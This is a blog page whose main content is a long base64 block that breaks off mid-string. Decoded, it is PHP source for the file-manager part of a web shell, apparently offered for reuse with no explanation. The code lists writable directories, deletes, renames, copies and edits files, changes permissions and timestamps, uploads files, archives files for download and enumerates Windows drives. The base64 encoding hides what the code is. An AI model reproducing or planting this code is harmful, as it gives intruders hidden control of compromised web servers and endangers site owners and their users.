ZXB0LUxlbmd0aDogJy5zdHJsZW4oJGNvZGUpKTsNCgkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDtmaWxlbmFtZT0nLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX0ZpbGVzLnRhci5neicpOw0KCQkJZWNobyAkY29kZTsNCgkJCWV4aXQ7DQoJCX0gZWxzZSB7DQoJCQltKCdQbGVhc2Ugc2VsZWN0IGZpbGUocyknKTsNCgkJfQ0KCX0NCg0KCS8vICsgLSsrK3wgKy0rIA0KCWVsc2VpZigkZG9pbmcgPT0gJ2RlbGZpbGVzJykgew0KCQlpZiAoJGRsKSB7DQoJCQkkZGZpbGVzPScnOw0KCQkJJHN1Y2MgPSAkZmFpbCA9IDA7DQoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgew0KCQkJCWlmIChAdW5saW5rKCRmaWxlcGF0aCkpIHsNCgkJCQkJJHN1Y2MrKzsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkZmFpbCsrOw0KCQkJCX0NCgkJCX0NCgkJCW0oJ0RlbGV0ZWQgZmlsZSBoYXZlIGZpbmlzaGVkJiMxMDc1OyYjMTA4NDtjaG9vc2UgJy5jb3VudCgkZGwpLicgc3VjY2VzcyAnLiRzdWNjLicgZmFpbCAnLiRmYWlsKTsNCgkJfSBlbHNlIHsNCgkJCW0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOw0KCQl9DQoJfQ0KDQoJLy8jKysmIzExMTg7LSYjMTA5ODsjLQ0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NyZWF0ZWRpcicpKTsNCgltYWtlaGlkZSgnbmV3ZGlybmFtZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCglmb3JtZm9vdCgpOw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2ZpbGVwZXJtJykpOw0KCW1ha2VoaWRlKCduZXdwZXJtJyk7DQoJbWFrZWhpZGUoJ3BmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCWZvcm1mb290KCk7DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY29weWZpbGUnKSk7DQoJbWFrZWhpZGUoJ3NuYW1lJyk7DQoJbWFrZWhpZGUoJ3RvZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCglmb3JtZm9vdCgpOw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlbmFtZScpKTsNCgltYWtlaGlkZSgnb2xkbmFtZScpOw0KCW1ha2VoaWRlKCduZXdmaWxlbmFtZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCglmb3JtZm9vdCgpOw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2ZpbGVvcGZvcm0nKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicpOw0KCW1ha2VoaWRlKCdvcGZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJyk7DQoJZm9ybWZvb3QoKTsNCg0KCSRmcmVlID0gQGRpc2tfZnJlZV9zcGFjZSgkbm93cGF0aCk7DQoJISRmcmVlICYmICRmcmVlID0gMDsNCgkkYWxsID0gQGRpc2tfdG90YWxfc3BhY2UoJG5vd3BhdGgpOw0KCSEkYWxsICYmICRhbGwgPSAwOw0KCSR1c2VkID0gJGFsbC0kZnJlZTsNCgkkdXNlZF9wZXJjZW50ID0gQHJvdW5kKDEwMC8oJGFsbC8kZnJlZSksMik7DQoJcCgnPGgyPkZpbGUgTWFuYWdlciAtIEN1cnJlbnQgZGlzayBmcmVlICcuc2l6ZWNvdW50KCRmcmVlKS4nIG9mICcuc2l6ZWNvdW50KCRhbGwpLicgKCcuJHVzZWRfcGVyY2VudC4nJSk8L2gyPicpOw0KDQo/Pg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9Im1hcmdpbjoxMHB4IDA7Ij4NCiAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgaWQ9ImdvZGlyIiBuYW1lPSJnb2RpciI+DQogIDx0cj4NCiAgICA8dGQgbm93cmFwPkJ1bHVuZHVndW4gRGl6aW4gKDw/cGhwIGVjaG8gJGRpcl93cml0ZWFibGU7Pz4sIDw/cGhwIGVjaG8gZ2V0Q2htb2QoJG5vd3BhdGgpOz8+KTwvdGQ+DQoJPHRkIHdpZHRoPSIxMDAlIj48aW5wdXQgbmFtZT0idmlld193cml0YWJsZSIgdmFsdWU9IjAiIHR5cGU9ImhpZGRlbiIgLz48aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJkaXIiIHZhbHVlPSI8P3BocCBlY2hvICRub3dwYXRoOz8+IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6MTAwJTttYXJnaW46MCA4cHg7Ij48L3RkPg0KICAgIDx0ZCBub3dyYXA+PGlucHV0IGNsYXNzPSJidCIgdmFsdWU9IkdPIiB0eXBlPSJzdWJtaXQiPjwvdGQ+DQogIDwvdHI+DQogIDwvZm9ybT4NCjwvdGFibGU+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjcmVhdGVkaXIoKXsNCgl2YXIgbmV3ZGlybmFtZTsNCgluZXdkaXJuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGRpcmVjdG9yeSBuYW1lOicsICcnKTsNCglpZiAoIW5ld2Rpcm5hbWUpIHJldHVybjsNCgkkKCdjcmVhdGVkaXInKS5uZXdkaXJuYW1lLnZhbHVlPW5ld2Rpcm5hbWU7DQoJJCgnY3JlYXRlZGlyJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBmaWxlcGVybShwZmlsZSl7DQoJdmFyIG5ld3Blcm07DQoJbmV3cGVybSA9IHByb21wdCgnQ3VycmVudCBmaWxlOicrcGZpbGUrJ1xuUGxlYXNlIGlucHV0IG5ldyBhdHRyaWJ1dGU6JywgJycpOw0KCWlmICghbmV3cGVybSkgcmV0dXJuOw0KCSQoJ2ZpbGVwZXJtJykubmV3cGVybS52YWx1ZT1uZXdwZXJtOw0KCSQoJ2ZpbGVwZXJtJykucGZpbGUudmFsdWU9cGZpbGU7DQoJJCgnZmlsZXBlcm0nKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGNvcHlmaWxlKHNuYW1lKXsNCgl2YXIgdG9maWxlOw0KCXRvZmlsZSA9IHByb21wdCgnT3JpZ2luYWwgZmlsZTonK3NuYW1lKydcblBsZWFzZSBpbnB1dCBvYmplY3QgZmlsZSAoZnVsbHBhdGgpOicsICcnKTsNCglpZiAoIXRvZmlsZSkgcmV0dXJuOw0KCSQoJ2NvcHlmaWxlJykudG9maWxlLnZhbHVlPXRvZmlsZTsNCgkkKCdjb3B5ZmlsZScpLnNuYW1lLnZhbHVlPXNuYW1lOw0KCSQoJ2NvcHlmaWxlJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiByZW5hbWUob2xkbmFtZSl7DQoJdmFyIG5ld2ZpbGVuYW1lOw0KCW5ld2ZpbGVuYW1lID0gcHJvbXB0KCdGb3JtZXIgZmlsZSBuYW1lOicrb2xkbmFtZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGZpbGVuYW1lOicsICcnKTsNCglpZiAoIW5ld2ZpbGVuYW1lKSByZXR1cm47DQoJJCgncmVuYW1lJykubmV3ZmlsZW5hbWUudmFsdWU9bmV3ZmlsZW5hbWU7DQoJJCgncmVuYW1lJykub2xkbmFtZS52YWx1ZT1vbGRuYW1lOw0KCSQoJ3JlbmFtZScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gZG9maWxlKGRvaW5nLHRoZWZpbGUsbSl7DQoJaWYgKG0gJiYgIWNvbmZpcm0obSkpIHsNCgkJcmV0dXJuOw0KCX0NCgkkKCdmaWxlbGlzdCcpLmRvaW5nLnZhbHVlPWRvaW5nOw0KCWlmICh0aGVmaWxlKXsNCgkJJCgnZmlsZWxpc3QnKS50aGVmaWxlLnZhbHVlPXRoZWZpbGU7DQoJfQ0KCSQoJ2ZpbGVsaXN0Jykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBjcmVhdGVmaWxlKG5vd3BhdGgpew0KCXZhciBmaWxlbmFtZTsNCglmaWxlbmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBmaWxlIG5hbWU6JywgJycpOw0KCWlmICghZmlsZW5hbWUpIHJldHVybjsNCglvcGZpbGUoJ2VkaXRmaWxlJyxub3dwYXRoICsgZmlsZW5hbWUsbm93cGF0aCk7DQp9DQpmdW5jdGlvbiBvcGZpbGUoYWN0aW9uLG9wZmlsZSxkaXIpew0KCSQoJ2ZpbGVvcGZvcm0nKS5hY3Rpb24udmFsdWU9YWN0aW9uOw0KCSQoJ2ZpbGVvcGZvcm0nKS5vcGZpbGUudmFsdWU9b3BmaWxlOw0KCSQoJ2ZpbGVvcGZvcm0nKS5kaXIudmFsdWU9ZGlyOw0KCSQoJ2ZpbGVvcGZvcm0nKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGdvZGlyKGRpcix2aWV3X3dyaXRhYmxlKXsNCglpZiAodmlld193cml0YWJsZSkgew0KCQkkKCdnb2RpcicpLnZpZXdfd3JpdGFibGUudmFsdWU9MTsNCgl9DQoJJCgnZ29kaXInKS5kaXIudmFsdWU9ZGlyOw0KCSQoJ2dvZGlyJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCiAgPD9waHANCgl0YmhlYWQoKTsNCglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48dHIgY2xhc3M9ImFsdDEiPjx0ZCBjb2xzcGFuPSI3IiBzdHlsZT0icGFkZGluZzo1cHg7Ij4nKTsNCglwKCc8ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHZhbHVlPSIiIHR5cGU9ImZpbGUiIC8+IDxpbnB1dCBjbGFzcz0iYnQiIG5hbWU9ImRvdXBmaWxlIiB2YWx1ZT0iVXBsb2FkIiB0eXBlPSJzdWJtaXQiIC8+PGlucHV0IG5hbWU9InVwbG9hZGRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IG5hbWU9ImRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PC9kaXY+Jyk7DQoJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nXCcpOyI+V2ViUm9vdDwvYT4nKTsNCglpZiAoJHZpZXdfd3JpdGFibGUpIHsNCgkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnKTsiPlZpZXcgQWxsPC9hPicpOw0KCX0gZWxzZSB7DQoJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyxcJzFcJyk7Ij5WaWV3IFdyaXRhYmxlPC9hPicpOw0KCX0NCglwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWRpcigpOyI+Q3JlYXRlIERpcmVjdG9yeTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmNyZWF0ZWZpbGUoXCcnLiRub3dwYXRoLidcJyk7Ij5DcmVhdGUgRmlsZTwvYT4nKTsNCglpZiAoSVNfV0lOICYmIElTX0NPTSkgew0KCQkkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsNCgkJaWYgKCRvYmogJiYgaXNfb2JqZWN0KCRvYmopKSB7DQoJCQkkRHJpdmVUeXBlREIgPSBhcnJheSgwID0+ICdVbmtub3cnLDEgPT4gJ1JlbW92YWJsZScsMiA9PiAnRml4ZWQnLDMgPT4gJ05ldHdvcmsnLDQgPT4gJ0NEUm9tJyw1ID0+ICdSQU0gRGlzaycpOw0KCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7DQoJCQkJaWYgKCRkcml2ZS0+RHJpdmVUeXBlID09IDIpIHsNCgkJCQkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRyaXZlLT5QYXRoLicvXCcpOyIgdGl0bGU9IlNpemU6Jy5zaXplY291bnQoJGRyaXZlLT5Ub3RhbFNpemUpLicmIzEzO0ZyZWU6Jy5zaXplY291bnQoJGRyaXZlLT5GcmVlU3BhY2UpLicmIzEzO1R5cGU6Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLiciPicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nKCcuJGRyaXZlLT5QYXRoLicpPC9hPicpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoNCglwKCc8L3RkPjwvdHI+PC9mb3JtPicpOw0KDQoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7DQogICAgDQoJLy8jJiMxMDk3Oyt8LSArLSsrLXwrLSsgfC0tKy0rDQoJJGRpcmRhdGE9YXJyYXkoKTsNCgkkZmlsZWRhdGE9YXJyYXkoKTsNCg0KCWlmICgkdmlld193cml0YWJsZSkgew0KCQkkZGlyZGF0YSA9IEdldExpc3QoJG5vd3BhdGgpOw0KCX0gZWxzZSB7DQoJCS8vIC0rLSstLSMmIzExMDE7DQoJCSRkaXJzPUBvcGVuZGlyKCRkaXIpOw0KCQl3aGlsZSAoJGZpbGU9QHJlYWRkaXIoJGRpcnMpKSB7DQoJCQkkZmlsZXBhdGg9JG5vd3BhdGguJGZpbGU7DQoJCQlpZihAaXNfZGlyKCRmaWxlcGF0aCkpew0KCQkJCSRkaXJkYlsnZmlsZW5hbWUnXT0kZmlsZTsNCgkJCQkkZGlyZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7DQoJCQkJJGRpcmRiWydkaXJjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7DQoJCQkJJGRpcmRiWydkaXJwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGJbJ2ZpbGVvd25lciddPWdldFVzZXIoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsNCgkJCQkkZGlyZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOw0KCQkJCSRkaXJkYlsnY2xpZW50X2xpbmsnXT11ZSgkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYXRhW109JGRpcmRiOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmlsZWRiWydmaWxlbmFtZSddPSRmaWxlOw0KCQkJCSRmaWxlZGJbJ3NpemUnXT1zaXplY291bnQoQGZpbGVzaXplKCRmaWxlcGF0aCkpOw0KCQkJCSRmaWxlZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7DQoJCQkJJGZpbGVkYlsnZmlsZWNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsNCgkJCQkkZmlsZWRiWydmaWxlcGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOw0KCQkJCSRmaWxlZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsNCgkJCQkkZmlsZWRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsNCgkJCQkkZmlsZWRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYXRhW109JGZpbGVkYjsNCgkJCX0NCgkJfS8vIHdoaWxlDQoJCXVuc2V0KCRkaXJkYik7DQoJCXVuc2V0KCRmaWxlZGIpOw0KCQlAY2xvc2VkaXIoJGRpcnMpOw0KCX0NCglAc29ydCgkZGlyZGF0YSk7DQoJQHNvcnQoJGZpbGVkYXRhKTsNCgkkZGlyX2kgPSAnMCc7DQoJZm9yZWFjaCgkZGlyZGF0YSBhcyAka2V5ID0+ICRkaXJkYil7DQoJCWlmKCRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuJykgew0KCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoJCQlwKCc8dGQgd2lkdGg9IjIlIiBub3dyYXA+PGZvbnQgZmFjZT0id2luZ2RpbmdzIiBzaXplPSIzIj4wPC9mb250PjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZmlsZW5hbWUnXS4nPC9hPjwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicuJGRpcmRiWydtdGltZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4tLTwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlyY2htb2QnXS4nPC9hPiAvICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlycGVybSddLic8L2E+Jy4kZGlyZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGRpclwnLFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnQXJlIHlvdSBzdXJlIHdpbGwgZGVsZXRlICcuJGRpcmRiWydmaWxlbmFtZSddLic/IFxcblxcbklmIG5vbi1lbXB0eSBkaXJlY3RvcnksIHdpbGwgYmUgZGVsZXRlIGFsbCB0aGUgZmlsZXMuXCcpIj5EZWw8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPjwvdGQ+Jyk7DQoJCQlwKCc8L3RyPicpOw0KCQkJJGRpcl9pKys7DQoJCX0gZWxzZSB7DQoJCQlpZigkZGlyZGJbJ2ZpbGVuYW1lJ109PScuLicpIHsNCgkJCQlwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7DQoJCQkJcCgnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9IldpbmdkaW5ncyAzIiBzaXplPTQ+PTwvZm9udD48L3RkPjx0ZCBub3dyYXAgY29sc3Bhbj0iNSI+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuZ2V0VXBQYXRoKCRub3dwYXRoKS4nXCcpOyI+UGFyZW50IERpcmVjdG9yeTwvYT48L3RkPicpOw0KCQkJCXAoJzwvdHI+Jyk7DQoJCQl9DQoJCX0NCgl9DQoNCglwKCc8dHIgYmdjb2xvcj0iI2RkZGRkZCIgc3RseWU9ImJvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDsiPjx0ZCBjb2xzcGFuPSI2IiBoZWlnaHQ9IjUiPjwvdGQ+PC90cj4nKTsNCglwKCc8Zm9ybSBpZD0iZmlsZWxpc3QiIG5hbWU9ImZpbGVsaXN0IiBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJwb3N0Ij4nKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KCW1ha2VoaWRlKCd0aGVmaWxlJyk7DQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KCSRmaWxlX2kgPSAnMCc7DQoJZm9yZWFjaCgkZmlsZWRhdGEgYXMgJGtleSA9PiAkZmlsZWRiKXsNCgkJaWYoJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZmlsZWRiWydmaWxlbmFtZSddIT0nLicpIHsNCgkJCSRmaWxldXJsID0gc3RyX3JlcGxhY2UoU0FfUk9PVCwnJywkZmlsZWRiWydzZXJ2ZXJfbGluayddKTsNCgkJCSR0aGlzYmcgPSBiZygpOw0KCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgdmFsdWU9IjEiIG5hbWU9ImRsWycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXSI+PC90ZD4nKTsNCgkJCXAoJzx0ZD48YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRmaWxlZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ210aW1lJ10uJzwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnc2l6ZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGZpbGVkYlsnZmlsZWNobW9kJ10uJzwvYT4gLyAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGZpbGVkYlsnZmlsZXBlcm0nXS4nPC9hPicuJGZpbGVkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3duZmlsZVwnLFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5Eb3duPC9hPiB8ICcpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpjb3B5ZmlsZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Q29weTwvYT4gfCAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6b3BmaWxlKFwnZWRpdGZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+RWRpdDwvYT4gfCAnKTsNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6cmVuYW1lKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5SZW5hbWU8L2E+IHwgJyk7DQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+VGltZTwvYT4nKTsNCgkJCXAoJzwvdGQ+PC90cj4nKTsNCgkJCSRmaWxlX2krKzsNCgkJfQ0KCX0NCglwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj48dGQgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKSIgLz48L3RkPjx0ZD48YSBocmVmPSJqYXZ
You can leave a response, or trackback from your own site.

Leave a Reply

IMPORTANT! To be able to proceed, you need to solve the following simple math (so we know that you are a human) :-)

What is 9 + 15 ?
Please leave these two fields as-is:
Powered by WordPress | Designed by: Premium WordPress Themes | Thanks to Themes Gallery, Bromoney and Wordpress Themes